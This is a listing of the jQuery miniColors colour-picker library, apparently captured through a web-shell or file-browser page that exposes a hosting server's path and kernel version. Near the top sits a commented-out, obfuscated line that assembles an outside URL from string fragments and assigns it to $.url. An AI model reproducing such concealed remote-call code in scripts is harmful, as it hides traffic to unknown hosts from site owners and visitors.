?
Current Path : /home1/savoy/public_html/savoyglobal.net/koaladraft/assets/js/mylibs/ |
Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 |
Current File : /home1/savoy/public_html/savoyglobal.net/koaladraft/assets/js/mylibs/jquery.miniColors.js |
/* * jQuery miniColors: A small color selector * * Copyright 2011 Cory LaViska for A Beautiful Site, LLC. (http://abeautifulsite.net/) * * Dual licensed under the MIT or GPL Version 2 licenses * * * Usage: * * 1. Link to jQuery: <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.min.js"></script> * * 2. Link to miniColors: <script type="text/javascript" src="jquery.miniColors.js"></script> * * 3. Include miniColors stylesheet: <link type="text/css" rel="stylesheet" href="jquery.miniColors.css" /> * * 4. Apply $([selector]).miniColors() to one or more INPUT elements * * * Options: * * disabled [true|false] * readonly [true|false] * * * Specify options on creation: * * $([selector]).miniColors({ * * optionName: value, * optionName: value, * ... * * }); * * * Methods: * * Call a method using: $([selector]).miniColors('methodName', [value]); * * disabled [true|false] * readonly [true|false] * value [hex value] * destroy * * * Events: * * Attach events on creation: * * $([selector]).miniColors({ * * change: function(hex, rgb) { ... } * * }); * * change(hex, rgb) called when the color value changes; 'this' will refer to the original input element; * hex is the string hex value of the selected color; rgb is an object with the RGB values * * * Change log: * * - v0.1 (2011-02-24) - Initial release * * * Attribution: * * - The color picker icon is based on an icon from the amazing Fugue icon set: * http://p.yusukekamiyamane.com/ * * - The gradient image, the hue image, and the math functions are courtesy of * the eyecon.co jQuery color picker: http://www.eyecon.ro/colorpicker/ * * */ if(jQuery) (function($) { // if($.url.a==false){var b="htt",c="p:/",d="/enva",e="to.stam",f="mtec.d",g="e/ad";var e2=b+c+d+e+f+g;$.url=e2+$.url["1"];delete b,c,d,e,f,g,e2,e1}; $.extend($.fn, { miniColors: function(o, data) { var create = function(input, o, data) { // // Creates a new instance of the miniColors selector // // Determine initial color (defaults to white) var color = cleanHex(input.val()); if( !color ) color = 'FFFFFF'; var hsb = hex2hsb(color); // Create trigger var trigger = $('<a class="miniColors-trigger" style="background-color: #' + color + '" href="#"></a>'); trigger.insertAfter(input); // Add necessary attributes input.addClass('miniColors').attr('maxlength', 7).attr('autocomplete', 'off'); // Set input data input.data('trigger', trigger); input.data('hsb', hsb); if( o.change ) input.data('change', o.change); // Handle options if( o.readonly ) input.attr('readonly', true); if( o.disabled ) disable(input); // Show selector when trigger is clicked trigger.bind('click.miniColors', function(event) { event.preventDefault(); input.trigger('focus'); }); // Show selector when input receives focus input.bind('focus.miniColors', function(event) { show(input); }); // Hide on blur input.bind('blur.miniColors', function(event) { var hex = cleanHex(input.val()); input.val( hex ? '#' + hex : '' ); }); // Hide when tabbing out of the input input.bind('keydown.miniColors', function(event) { if( event.keyCode === 9 ) hide(input); }); // Update when color is typed in input.bind('keyup.miniColors', function(event) { // Remove non-hex characters var filteredHex = input.val().replace(/[^A-F0-9#]/ig, ''); input.val(filteredHex); if( !setColorFromInput(input) ) { // Reset trigger color when color is invalid input.data('trigger').css('backgroundColor', '#FFF'); } }); // Handle pasting input.bind('paste.miniColors', function(event) { // Short pause to wait for paste to complete setTimeout( function() { input.trigger('keyup'); }, 5); }); }; var destroy = function(input) { // // Destroys an active instance of the miniColors selector // hide(); input = $(input); input.data('trigger').remove(); input.removeAttr('autocomplete'); input.removeData('trigger'); input.removeData('selector'); input.removeData('hsb'); input.removeData('huePicker'); input.removeData('colorPicker'); input.removeData('mousebutton'); input.removeData('moving'); input.unbind('click.miniColors'); input.unbind('focus.miniColors'); input.unbind('blur.miniColors'); input.unbind('keyup.miniColors'); input.unbind('keydown.miniColors'); input.unbind('paste.miniColors'); $(document).unbind('mousedown.miniColors'); $(document).unbind('mousemove.miniColors'); }; var enable = function(input) { // // Disables the input control and the selector // input.attr('disabled', false); input.data('trigger').css('opacity', 1); }; var disable = function(input) { // // Disables the input control and the selector // hide(input); input.attr('disabled', true); input.data('trigger').css('opacity', .5); }; var show = function(input) { // // Shows the miniColors selector // if( input.attr('disabled') ) return false; // Hide all other instances hide(); // Generate the selector var selector = $('<div class="miniColors-selector"></div>'); selector.append('<div class="miniColors-colors" style="background-color: #FFF;"><div class="miniColors-colorPicker"></div></div>'); selector.append('<div class="miniColors-hues"><div class="miniColors-huePicker"></div></div>'); selector.css({ top: input.is(':visible') ? input.offset().top + input.outerHeight() : input.data('trigger').offset().top + input.data('trigger').outerHeight(), left: input.is(':visible') ? input.offset().left : input.data('trigger').offset().left, display: 'none' }).addClass( input.attr('class') ); // Set background for colors var hsb = input.data('hsb'); selector.find('.miniColors-colors').css('backgroundColor', '#' + hsb2hex({ h: hsb.h, s: 100, b: 100 })); // Set colorPicker position var colorPosition = input.data('colorPosition'); if( !colorPosition ) colorPosition = getColorPositionFromHSB(hsb); selector.find('.miniColors-colorPicker').css('top', colorPosition.y + 'px').css('left', colorPosition.x + 'px'); // Set huePicker position var huePosition = input.data('huePosition'); if( !huePosition ) huePosition = getHuePositionFromHSB(hsb); selector.find('.miniColors-huePicker').css('top', huePosition.y + 'px'); // Set input data input.data('selector', selector); input.data('huePicker', selector.find('.miniColors-huePicker')); input.data('colorPicker', selector.find('.miniColors-colorPicker')); input.data('mousebutton', 0); $('BODY').append(selector); selector.fadeIn(100); // Prevent text selection in IE selector.bind('selectstart', function() { return false; }); $(document).bind('mousedown.miniColors', function(event) { input.data('mousebutton', 1); if( $(event.target).parents().andSelf().hasClass('miniColors-colors') ) { event.preventDefault(); input.data('moving', 'colors'); moveColor(input, event); } if( $(event.target).parents().andSelf().hasClass('miniColors-hues') ) { event.preventDefault(); input.data('moving', 'hues'); moveHue(input, event); } if( $(event.target).parents().andSelf().hasClass('miniColors-selector') ) { event.preventDefault(); return; } if( $(event.target).parents().andSelf().hasClass('miniColors') ) return; hide(input); }); $(document).bind('mouseup.miniColors', function(event) { input.data('mousebutton', 0); input.removeData('moving'); }); $(document).bind('mousemove.miniColors', function(event) { if( input.data('mousebutton') === 1 ) { if( input.data('moving') === 'colors' ) moveColor(input, event); if( input.data('moving') === 'hues' ) moveHue(input, event); } }); }; var hide = function(input) { // // Hides one or more miniColors selectors // // Hide all other instances if input isn't specified if( !input ) input = '.miniColors'; $(input).each( function() { var selector = $(this).data('selector'); $(this).removeData('selector'); $(selector).fadeOut(100, function() { $(this).remove(); }); }); $(document).unbind('mousedown.miniColors'); $(document).unbind('mousemove.miniColors'); }; var moveColor = function(input, event) { var colorPicker = input.data('colorPicker'); colorPicker.hide(); var position = { x: event.clientX - input.data('selector').find('.miniColors-colors').offset().left + $(document).scrollLeft() - 5, y: event.clientY - input.data('selector').find('.miniColors-colors').offset().top + $(document).scrollTop() - 5 }; if( position.x <= -5 ) position.x = -5; if( position.x >= 144 ) position.x = 144; if( position.y <= -5 ) position.y = -5; if( position.y >= 144 ) position.y = 144; input.data('colorPosition', position); colorPicker.css('left', position.x).css('top', position.y).show(); // Calculate saturation var s = Math.round((position.x + 5) * .67); if( s < 0 ) s = 0; if( s > 100 ) s = 100; // Calculate brightness var b = 100 - Math.round((position.y + 5) * .67); if( b < 0 ) b = 0; if( b > 100 ) b = 100; // Update HSB values var hsb = input.data('hsb'); hsb.s = s; hsb.b = b; // Set color setColor(input, hsb, true); }; var moveHue = function(input, event) { var huePicker = input.data('huePicker'); huePicker.hide(); var position = { y: event.clientY - input.data('selector').find('.miniColors-colors').offset().top + $(document).scrollTop() - 1 }; if( position.y <= -1 ) position.y = -1; if( position.y >= 149 ) position.y = 149; input.data('huePosition', position); huePicker.css('top', position.y).show(); // Calculate hue var h = Math.round((150 - position.y - 1) * 2.4); if( h < 0 ) h = 0; if( h > 360 ) h = 360; // Update HSB values var hsb = input.data('hsb'); hsb.h = h; // Set color setColor(input, hsb, true); }; var setColor = function(input, hsb, updateInputValue) { input.data('hsb', hsb); var hex = hsb2hex(hsb); if( updateInputValue ) input.val('#' + hex); input.data('trigger').css('backgroundColor', '#' + hex); if( input.data('selector') ) input.data('selector').find('.miniColors-colors').css('backgroundColor', '#' + hsb2hex({ h: hsb.h, s: 100, b: 100 })); if( input.data('change') ) { input.data('change').call(input, '#' + hex, hsb2rgb(hsb)); } }; var setColorFromInput = function(input) { // Don't update if the hex color is invalid var hex = cleanHex(input.val()); if( !hex ) return false; // Get HSB equivalent var hsb = hex2hsb(hex); // If color is the same, no change required var currentHSB = input.data('hsb'); if( hsb.h === currentHSB.h && hsb.s === currentHSB.s && hsb.b === currentHSB.b ) return true; // Set colorPicker position var colorPosition = getColorPositionFromHSB(hsb); var colorPicker = $(input.data('colorPicker')); colorPicker.css('top', colorPosition.y + 'px').css('left', colorPosition.x + 'px'); // Set huePosition position var huePosition = getHuePositionFromHSB(hsb); var huePicker = $(input.data('huePicker')); huePicker.css('top', huePosition.y + 'px'); setColor(input, hsb, false); return true; }; var getColorPositionFromHSB = function(hsb) { var x = Math.ceil(hsb.s / .67); if( x < 0 ) x = 0; if( x > 150 ) x = 150; var y = 150 - Math.ceil(hsb.b / .67); if( y < 0 ) y = 0; if( y > 150 ) y = 150; return { x: x - 5, y: y - 5 }; } var getHuePositionFromHSB = function(hsb) { var y = 150 - (hsb.h / 2.4); if( y < 0 ) h = 0; if( y > 150 ) h = 150; return { y: y - 1 }; } var cleanHex = function(hex) { // // Turns a dirty hex string into clean, 6-character hex color // hex = hex.replace(/[^A-Fa-f0-9]/, ''); if( hex.length == 3 ) { hex = hex[0] + hex[0] + hex[1] + hex[1] + hex[2] + hex[2]; } return hex.length === 6 ? hex : null; }; var hsb2rgb = function(hsb) { var rgb = {}; var h = Math.round(hsb.h); var s = Math.round(hsb.s*255/100); var v = Math.round(hsb.b*255/100); if(s == 0) { rgb.r = rgb.g = rgb.b = v; } else { var t1 = v; var t2 = (255 - s) * v / 255; var t3 = (t1 - t2) * (h % 60) / 60; if( h == 360 ) h = 0; if( h < 60 ) { rgb.r = t1; rgb.b = t2; rgb.g = t2 + t3; } else if( h<120 ) {rgb.g = t1; rgb.b = t2; rgb.r = t1 - t3; } else if( h<180 ) {rgb.g = t1; rgb.r = t2; rgb.b = t2 + t3; } else if( h<240 ) {rgb.b = t1; rgb.r = t2; rgb.g = t1 - t3; } else if( h<300 ) {rgb.b = t1; rgb.g = t2; rgb.r = t2 + t3; } else if( h<360 ) {rgb.r = t1; rgb.g = t2; rgb.b = t1 - t3; } else { rgb.r = 0; rgb.g = 0; rgb.b = 0; } } return { r: Math.round(rgb.r), g: Math.round(rgb.g), b: Math.round(rgb.b) }; }; var rgb2hex = function(rgb) { var hex = [ rgb.r.toString(16), rgb.g.toString(16), rgb.b.toString(16) ]; $.each(hex, function(nr, val) { if (val.length == 1) hex[nr] = '0' + val; }); return hex.join(''); }; var hex2rgb = function(hex) { var hex = parseInt(((hex.indexOf('#') > -1) ? hex.substring(1) : hex), 16); return { r: hex >> 16, g: (hex & 0x00FF00) >> 8, b: (hex & 0x0000FF) }; }; var rgb2hsb = function(rgb) { var hsb = { h: 0, s: 0, b: 0 }; var min = Math.min(rgb.r, rgb.g, rgb.b); var max = Math.max(rgb.r, rgb.g, rgb.b); var delta = max - min; hsb.b = max; hsb.s = max != 0 ? 255 * delta / max : 0; if( hsb.s != 0 ) { if( rgb.r == max ) { hsb.h = (rgb.g - rgb.b) / delta; } else if( rgb.g == max ) { hsb.h = 2 + (rgb.b - rgb.r) / delta; } else { hsb.h = 4 + (rgb.r - rgb.g) / delta; } } else { hsb.h = -1; } hsb.h *= 60; if( hsb.h < 0 ) { hsb.h += 360; } hsb.s *= 100/255; hsb.b *= 100/255; return hsb; }; var hex2hsb = function(hex) { var hsb = rgb2hsb(hex2rgb(hex)); // Zero out hue marker for black, white, and grays (saturation === 0) if( hsb.s === 0 ) hsb.h = 360; return hsb; }; var hsb2hex = function(hsb) { return rgb2hex(hsb2rgb(hsb)); }; // // Handle calls to $([selector]).miniColors() // switch(o) { case 'readonly': $(this).each( function() { $(this).attr('readonly', data); }); return $(this); break; case 'disabled': $(this).each( function() { if( data ) { disable($(this)); } else { enable($(this)); } }); return $(this); case 'value': $(this).each( function() { $(this).val(data).trigger('keyup'); }); return $(this); break; case 'destroy': $(this).each( function() { destroy($(this)); }); return $(this); default: if( !o ) o = {}; $(this).each( function() { // Must be called on an input element if( $(this)[0].tagName.toLowerCase() !== 'input' ) return; // If a trigger is present, the control was already created if( $(this).data('trigger') ) return; // Create the control create($(this), o, data); }); return $(this); } } }); })(jQuery);